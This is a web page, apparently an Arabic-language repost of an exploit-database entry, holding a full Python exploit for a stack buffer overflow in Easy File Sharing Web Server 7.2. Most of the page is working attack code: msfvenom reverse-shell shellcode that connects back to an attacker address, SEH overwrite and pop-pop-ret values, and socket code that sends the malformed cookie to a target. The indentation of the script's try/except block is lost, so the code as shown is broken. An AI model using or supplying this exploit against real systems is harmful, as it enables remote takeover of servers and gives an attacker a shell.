Easy File Sharing Web Server 7.2 Buffer Overflow
34216133623428476
أخبار ساخنة

Easy File Sharing Web Server 7.2 Buffer Overflow

الخط

Easy File Sharing Web Server version 7.2 GET HTTP request buffer overflow exploit.


MD5 | 8f01d366a360414c32e90e350d821ce1

#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19 June 2017
# Exploit Author: clubjk
# Author Contact: jk@jkcybersecurity.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
# Usage: ./exploit.py
# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...
# [*] Sending improperly formed request...
# [!] Request has been sent!


import socket,os,time, sys

host = "192.168.188.132"
port = 80


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
buf = ""
buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xba\xb7\xe7\x7d\x1e\x29"
buf += "\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\xe0\xf4\x9f"
buf += "\xeb\xf2\x13\xdd\x14\x0a\xe4\x82\x9d\xef\xd5\x82\xfa"
buf += "\x64\x45\x33\x88\x28\x6a\xb8\xdc\xd8\xf9\xcc\xc8\xef"
buf += "\x4a\x7a\x2f\xde\x4b\xd7\x13\x41\xc8\x2a\x40\xa1\xf1"
buf += "\xe4\x95\xa0\x36\x18\x57\xf0\xef\x56\xca\xe4\x84\x23"
buf += "\xd7\x8f\xd7\xa2\x5f\x6c\xaf\xc5\x4e\x23\xbb\x9f\x50"
buf += "\xc2\x68\x94\xd8\xdc\x6d\x91\x93\x57\x45\x6d\x22\xb1"
buf += "\x97\x8e\x89\xfc\x17\x7d\xd3\x39\x9f\x9e\xa6\x33\xe3"
buf += "\x23\xb1\x80\x99\xff\x34\x12\x39\x8b\xef\xfe\xbb\x58"
buf += "\x69\x75\xb7\x15\xfd\xd1\xd4\xa8\xd2\x6a\xe0\x21\xd5"
buf += "\xbc\x60\x71\xf2\x18\x28\x21\x9b\x39\x94\x84\xa4\x59"
buf += "\x77\x78\x01\x12\x9a\x6d\x38\x79\xf3\x42\x71\x81\x03"
buf += "\xcd\x02\xf2\x31\x52\xb9\x9c\x79\x1b\x67\x5b\x7d\x36"
buf += "\xdf\xf3\x80\xb9\x20\xda\x46\xed\x70\x74\x6e\x8e\x1a"
buf += "\x84\x8f\x5b\x8c\xd4\x3f\x34\x6d\x84\xff\xe4\x05\xce"
buf += "\x0f\xda\x36\xf1\xc5\x73\xdc\x08\x8e\xbb\x89\xae\xcb"
buf += "\x54\xc8\xce\xda\x8d\x45\x28\xb6\xdd\x03\xe3\x2f\x47"
buf += "\x0e\x7f\xd1\x88\x84\xfa\xd1\x03\x2b\xfb\x9c\xe3\x46"
buf += "\xef\x49\x04\x1d\x4d\xdf\x1b\x8b\xf9\x83\x8e\x50\xf9"
buf += "\xca\xb2\xce\xae\x9b\x05\x07\x3a\x36\x3f\xb1\x58\xcb"
buf += "\xd9\xfa\xd8\x10\x1a\x04\xe1\xd5\x26\x22\xf1\x23\xa6"
buf += "\x6e\xa5\xfb\xf1\x38\x13\xba\xab\x8a\xcd\x14\x07\x45"
buf += "\x99\xe1\x6b\x56\xdf\xed\xa1\x20\x3f\x5f\x1c\x75\x40"
buf += "\x50\xc8\x71\x39\x8c\x68\x7d\x90\x14\x98\x34\xb8\x3d"
buf += "\x31\x91\x29\x7c\x5c\x22\x84\x43\x59\xa1\x2c\x3c\x9e"
buf += "\xb9\x45\x39\xda\x7d\xb6\x33\x73\xe8\xb8\xe0\x74\x39"

crash = "/.:/" #unusual but needed
crash += "A"*53 #offset
crash += "\xeb\x10\x90\x90" #seh
crash += "\x05\x86\x01\x10" #pop pop ret ImageLoad.dll (WinXP SP3)
crash += "D"*10 #junk
crash += buf #shellcode
crash += "E"*2600 #total string needs to be about 3000 chars


request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"

print "[*] Connecting to Target " + host + "...standby..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
connect=s.connect((host, port))
print "[*] Successfully connected to " + host + "!!!"
except:
print "[!] " + host + " didn't respond\n"
sys.exit(0)


print "[*] Sending improperly formed request..."
s.send(request + "\r\n\r\n")
print "[!] Request has been sent!\n"
s.close()


نموذج الاتصال
الاسمبريد إلكترونيرسالة